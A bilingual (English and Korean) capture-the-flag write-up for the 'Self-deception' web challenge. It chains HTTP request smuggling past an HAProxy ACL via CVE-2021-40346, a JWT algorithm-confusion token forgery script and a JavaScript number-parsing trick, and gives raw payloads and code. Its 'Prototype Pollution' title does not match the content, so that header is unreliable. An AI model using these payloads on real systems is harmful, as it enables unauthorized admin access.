Prototype Pollution: Poisoning JavaScript's Object Chain
How Prototype Pollution corrupts JavaScript's prototype chain and how to defend against it
Self-deception is a layered web challenge. An HAProxy frontend sits in front of a Node/Express backend, and the flag lives behind three independent obstacles that all have to fall.
frontend http-in
bind *:8000
default_backend servers
http-request deny if { path_beg /admin }
backend servers
http-reuse always
server server1 app:3000 maxconn 32
GET /flag returns the flag only if the account balance >= 10. Raising the balance requires the /admin/charge and /admin/withdraw endpoints, but HAProxy denies any path starting with /admin, and every endpoint requires a valid admin JWT. So there are three problems to solve:
/admin deny rule at the proxy.>= 10.The HAProxy version here is vulnerable to CVE-2021-40346, an integer overflow in header-name length handling. A crafted header whose name is long enough to overflow an internal length field makes HAProxy and the backend disagree about where the request ends, which is a classic request-smuggling primitive.
The payload hides a second request inside the body of an allowed one. HAProxy sees a harmless POST /flag; the backend, parsing the smuggled bytes, sees the forbidden GET /admin/... and serves it. The path_beg /admin deny never applies because HAProxy never saw that path.
POST /flag HTTP/1.1
Host: target:8000
Content-Length0aaaaaaaaaaaaaaaaaaa...(long overflow padding)...aaaa:
Content-Length: 150
GET /admin/withdraw?money=0.999999999 HTTP/1.1
Host: target:8000
The malformed Content-Length0aaaa...: header is the overflow trigger; the real Content-Length then frames the smuggled /admin request as the body. http-reuse always in the backend config keeps the connection pooled, which is exactly what makes the desync reachable.
The signing and verifying code do not agree on the algorithm:
// sign: pins the algorithm to RS256
const signSync = createSigner({ algorithm: 'RS256', key: PRIVATE_KEY });
// verify: no algorithm restriction!
const verifySync = createVerifier({ key: PUBLIC_KEY });
Because verify does not pin an algorithm, it will happily accept an HS256 token. That is the textbook algorithm confusion setup: the RSA public key is public, and if the verifier treats an HS256 token, it will use that public key as the HMAC secret. Since we also know the public key, we can forge a valid HS256 token ourselves.
The public key was sitting at /jwks.json the whole time.
{"keys":[{"kty":"RSA","alg":"RS256","use":"sig","n":"jlaj...","e":"AQAB"}]}
Rebuild the PEM from n and e, then sign a forged {"role":"admin"} payload with HS256 using that PEM as the secret.
import jwt, base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
def b64int(s):
s = s.replace('-', '+').replace('_', '/')
s += '=' * (-len(s) % 4)
return int.from_bytes(base64.b64decode(s), 'big')
pub = rsa.RSAPublicNumbers(e=b64int("AQAB"), n=b64int(N_FROM_JWKS)).public_key()
pem = pub.public_bytes(serialization.Encoding.PEM,
serialization.PublicFormat.SubjectPublicKeyInfo).decode()
forged = jwt.encode({"role": "admin"}, pem, algorithm="HS256")
print(forged)
Now every request carries Cookie: jwt=<forged admin token>.
The balance logic is a JavaScript floating-point trap. Both endpoints require the money to match /^0\.\d+$/, so the input is always 0.something.
// withdraw
tmp = balance - parseFloat(money);
dollar = tmp + "$";
setBalance(parseInt(dollar.split("$")[0]));
// charge
setBalance(balance + parseFloat(money));
Two quirks combine here:
1 from a balance of 1 yields a tiny number like 1e-9. When JavaScript stringifies it, you get scientific notation: "9.999999717180685e-10$".parseInt("9.999999717180685e-10") reads digits until the first non-digit and stops at the decimal point, returning 9.So a single withdraw jumps the balance from 1 to 9:
GET /admin/withdraw?money=0.999999999
-> tmp = 9.999999717180685e-10 -> parseInt("9.999...e-10") = 9
Then charge uses parseFloat, and 0.9999999999999999999999999 rounds up to 1.0 in a double, adding one:
GET /admin/charge?money=0.9999999999999999999999999 -> balance = 10
Balance is now 10, clearing the flag threshold. (limitCharge resets the balance after three charges, so the sequence has to stay within that window.)
The final exploit smuggles the authenticated /admin requests past HAProxy, one after another, each carrying the forged admin cookie, then reads /flag.
POST /flag HTTP/1.1
Host: target
Cookie: jwt=<forged admin token>
Content-Length0aaaaaaaaaaaaaaaaaaa...(overflow)...aaaa:
Content-Length: 400
GET /admin/withdraw?money=0.999999999 HTTP/1.1
Host: target
Cookie: jwt=<forged admin token>
Fire the withdraw (balance -> 9), then the charge (balance -> 10), then request the flag with the same admin token.
DH{REDACTED}
The name fits: every layer here is a system deceiving itself. HAProxy and the backend disagree about request boundaries; the JWT verifier trusts a token in an algorithm the signer never intended; and JavaScript’s own number handling turns 1 - 0.999... into the integer 9.
Individually each bug is well known, but the challenge is a good reminder that real bypasses are usually chains: a proxy ACL is only as strong as the parser behind it, and “the library verifies the signature” means nothing if the verifier doesn’t pin the algorithm.
Self-deception은 여러 겹으로 쌓인 웹 문제입니다. Node/Express 백엔드 앞에 HAProxy 프론트엔드가 서 있고, 플래그는 반드시 무너뜨려야 하는 세 개의 독립된 장벽 뒤에 있어요.
frontend http-in
bind *:8000
default_backend servers
http-request deny if { path_beg /admin }
backend servers
http-reuse always
server server1 app:3000 maxconn 32
GET /flag은 계정 balance >= 10일 때만 플래그를 돌려줍니다. 잔액을 올리려면 /admin/charge, /admin/withdraw 엔드포인트가 필요한데, HAProxy는 /admin으로 시작하는 모든 경로를 거부하고, 모든 엔드포인트는 유효한 admin JWT를 요구합니다. 그래서 풀어야 할 문제가 세 개죠.
/admin 거부 규칙 우회>= 10으로 부풀리기여기 쓰인 HAProxy 버전은 CVE-2021-40346에 취약합니다. 헤더 이름 길이 처리에서 발생하는 정수 오버플로예요. 내부 길이 필드를 넘길 만큼 긴 이름의 헤더를 만들면, HAProxy와 백엔드가 요청이 어디서 끝나는지에 대해 서로 다르게 판단하게 됩니다. 전형적인 request smuggling 조건이죠.
페이로드는 허용된 요청의 본문 안에 두 번째 요청을 숨깁니다. HAProxy는 무해한 POST /flag를 보지만, smuggling된 바이트를 파싱하는 백엔드는 금지된 GET /admin/...을 보고 처리해버립니다. HAProxy는 그 경로를 본 적이 없으니 path_beg /admin 거부가 걸리지 않는 거예요.
POST /flag HTTP/1.1
Host: target:8000
Content-Length0aaaaaaaaaaaaaaaaaaa...(긴 오버플로 패딩)...aaaa:
Content-Length: 150
GET /admin/withdraw?money=0.999999999 HTTP/1.1
Host: target:8000
잘못된 Content-Length0aaaa...: 헤더가 오버플로 트리거이고, 뒤이은 진짜 Content-Length가 smuggling된 /admin 요청을 본문으로 프레이밍합니다. 백엔드 설정의 http-reuse always가 커넥션을 풀에 유지시켜서, desync가 도달 가능해지는 핵심 조건이 됩니다.
서명 코드와 검증 코드가 알고리즘에 대해 합의를 안 합니다.
// sign: 알고리즘을 RS256으로 고정
const signSync = createSigner({ algorithm: 'RS256', key: PRIVATE_KEY });
// verify: 알고리즘 제한 없음!
const verifySync = createVerifier({ key: PUBLIC_KEY });
verify가 알고리즘을 고정하지 않기 때문에 HS256 토큰도 그냥 받아들입니다. 교과서적인 algorithm confusion 상황이죠. RSA 공개키는 공개되어 있고, 검증기가 HS256 토큰을 처리하면 그 공개키를 HMAC 비밀키로 써버립니다. 우리도 공개키를 알고 있으니 유효한 HS256 토큰을 직접 위조할 수 있어요.
공개키는 내내 /jwks.json에 놓여 있었습니다.
{"keys":[{"kty":"RSA","alg":"RS256","use":"sig","n":"jlaj...","e":"AQAB"}]}
n과 e로 PEM을 재구성한 뒤, 그 PEM을 비밀키로 삼아 {"role":"admin"} 페이로드를 HS256으로 서명합니다.
import jwt, base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
def b64int(s):
s = s.replace('-', '+').replace('_', '/')
s += '=' * (-len(s) % 4)
return int.from_bytes(base64.b64decode(s), 'big')
pub = rsa.RSAPublicNumbers(e=b64int("AQAB"), n=b64int(N_FROM_JWKS)).public_key()
pem = pub.public_bytes(serialization.Encoding.PEM,
serialization.PublicFormat.SubjectPublicKeyInfo).decode()
forged = jwt.encode({"role": "admin"}, pem, algorithm="HS256")
print(forged)
이제 모든 요청에 Cookie: jwt=<위조한 admin 토큰>을 실어 보냅니다.
잔액 로직은 자바스크립트 부동소수점 함정입니다. 두 엔드포인트 모두 money가 /^0\.\d+$/에 맞아야 해서 입력은 항상 0.무언가 꼴이에요.
// withdraw
tmp = balance - parseFloat(money);
dollar = tmp + "$";
setBalance(parseInt(dollar.split("$")[0]));
// charge
setBalance(balance + parseFloat(money));
두 가지 특성이 여기서 결합합니다.
1에서 1에 극도로 가까운 값을 빼면 1e-9 같은 아주 작은 수가 나옵니다. 자바스크립트가 이걸 문자열로 바꾸면 지수 표기가 돼요. "9.999999717180685e-10$"처럼요.parseInt("9.999999717180685e-10")는 숫자를 읽다가 소수점에서 멈춰 9를 반환합니다.그래서 withdraw 한 번으로 잔액이 1에서 9로 점프합니다.
GET /admin/withdraw?money=0.999999999
-> tmp = 9.999999717180685e-10 -> parseInt("9.999...e-10") = 9
그다음 charge는 parseFloat를 쓰는데, 0.9999999999999999999999999가 double에서 1.0으로 반올림되어 1을 더합니다.
GET /admin/charge?money=0.9999999999999999999999999 -> balance = 10
잔액이 10이 되어 플래그 조건을 통과합니다. (limitCharge가 charge 3회 후 잔액을 리셋하므로, 이 시퀀스는 그 창 안에서 끝내야 합니다.)
최종 익스플로잇은 인증된 /admin 요청들을 HAProxy 너머로 차례차례 smuggling하고, 각각 위조한 admin 쿠키를 실은 뒤, /flag을 읽습니다.
POST /flag HTTP/1.1
Host: target
Cookie: jwt=<위조한 admin 토큰>
Content-Length0aaaaaaaaaaaaaaaaaaa...(오버플로)...aaaa:
Content-Length: 400
GET /admin/withdraw?money=0.999999999 HTTP/1.1
Host: target
Cookie: jwt=<위조한 admin 토큰>
withdraw를 쏘고(잔액 -> 9), charge를 쏘고(잔액 -> 10), 같은 admin 토큰으로 플래그를 요청합니다.
DH{REDACTED}
이름값을 합니다. 여기서 모든 계층은 스스로를 속이는(self-deception) 시스템이에요. HAProxy와 백엔드는 요청 경계에 대해 의견이 갈리고, JWT 검증기는 서명자가 의도한 적 없는 알고리즘의 토큰을 신뢰하며, 자바스크립트의 숫자 처리는 1 - 0.999...를 정수 9로 바꿔버립니다.
각 버그는 개별적으로는 잘 알려진 것들이지만, 이 문제는 실제 우회가 대개 체인이라는 걸 잘 보여줍니다. 프록시 ACL은 그 뒤의 파서만큼만 강하고, “라이브러리가 서명을 검증한다”는 말은 검증기가 알고리즘을 고정하지 않으면 아무 의미가 없으니까요.